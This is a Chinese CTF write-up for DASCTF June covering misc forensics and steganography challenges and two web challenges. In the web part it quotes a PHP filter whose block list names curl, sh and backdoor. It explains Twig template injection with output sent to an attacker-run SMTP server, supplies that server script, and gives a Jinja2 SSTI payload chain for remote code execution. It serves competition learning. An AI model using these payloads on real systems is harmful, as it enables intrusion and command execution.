Misc
cryptographic_call
单图盲水印。得到Base64的码表。然后脚本跑一下
import base64
import string
string1="0123456789abcdefGHIJKLMNOPQrstuvwXYZghijklmnopqRSTUVW*ABCDEF@xyz"
string2="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
str1="PiTXPBoBd3OVOMdheMGSOZXXeJXXOJ1ge64WPMGBc3cCPJKDc7W="
print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))
PhysicalHacker
爆破密码得到一个wifi包。导出得到flag.txt
snow隐写一把梭
BaiduYun&Gcode
百度云盘转存原理:判断文件前256KMD5是否相同。相同就从数据中链接同一个文件。并不是真的上传。
根据hint。得知X平台前 256KB相同。
下载X平台的图片。算出前256KB的md5。通过一个插件。
https://rapid.acg.uy/
得到一个3D打印的文件。然后就在字符的背面。
Keyboard
filescan得到一个keyboardlog
里面就是qwe密码。解密得到密钥
然后用取证大师,密钥挂载加密的镜像。然后ntfs隐写
透明度
A通道选满。得到一个压缩包。掩码爆破密码得到
nepnb。解压得到Flag
SMB
sam文件。得到用户密码。当作密钥。依旧是取证大师。密钥挂载镜像。然后得到一个rtf文件。16进制解密。很多乱码。中间有一串字符。base58得到flag
Web
Subscribe
F12得到源码
function mailCheck($s) {
if (preg_match('/\\\|\/|\~|&|\^|\`|\*|\?/i',$s))
{
alertMes('damn hacker!', './index.php');
return false;
}
if (!preg_match('/libs|smtp|curl|dev|index\.php|ftp|backdoor|sh/i', $s) )
{
if ( preg_match_all('/@/', $s) === 1 )
{
$arr = explode('@',$s);
$domain = end($arr);
if (!preg_match('/[^a-z0-9._-]/i', $domain))
{
return true;
}
}
}
return false;
}
$smtpEmailTo = $_POST['toemail'];
if (!mailCheck($smtpEmailTo))
{
alertMes("hacker", "/index.php"); //die;
}
$twig = new Twig_Environment($loader);
$yourName = pos(explode( '@', $smtpEmailTo));
$content = @$twig->render($yourName);
$mailcontent = "<h1>Hello <font color=red>".$content."</font><br>Welcome to DASCTF June, Have FUN!</h1>";
$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);
$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle,
前面第一个函数就是用来限制用户名的。不能包含正则中的符号。有就直接die
第二个正则。是用来判断SMTP的域名是否是xx.xx格式的
绕过这个后。可以看到。它会取用户名。然后render渲染。放入html。进行发送。
只要用户名是恶意的payload。然后邮箱域名是我们的域名即可。
至于payload。。网上一搜就有。构造下命令
伪造SMTP服务的脚本
from __future__ import print_function
from datetime import datetime
import asyncore
from smtpd import SMTPServer
class EmlServer(SMTPServer):
no = 0
def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),
self.no)
f = open(filename, 'wb')
print(data)
f.write(data)
f.close
print('%s saved.' % filename)
self.no += 1
def run():
foo = EmlServer(('0.0.0.0', 25), None)
try:
asyncore.loop()
except KeyboardInterrupt:
pass
if __name__ == '__main__':
run()
easy_flask
ssti部分和安恒二月赛差不多。
就是把request.args.x1改成request.headers.x1
因为ban了()|。可以在结果外边多加一个()。变成整体。从而绕过()|。
也可以中间加个空格绕过()空格|
最后就是RCE了
{{()|attr(request.headers.x1)|attr(request.headers.x2)|attr(request.headers.x3)()|attr(request.headers.x4)(398)|attr(request.headers.x5)|attr(request.headers.x6)|attr(request.headers.x4)(request.headers.x7)|attr(request.headers.x4)(request.headers.x8)(request.headers.x9)}}
复现的时候。环境关了。。。。。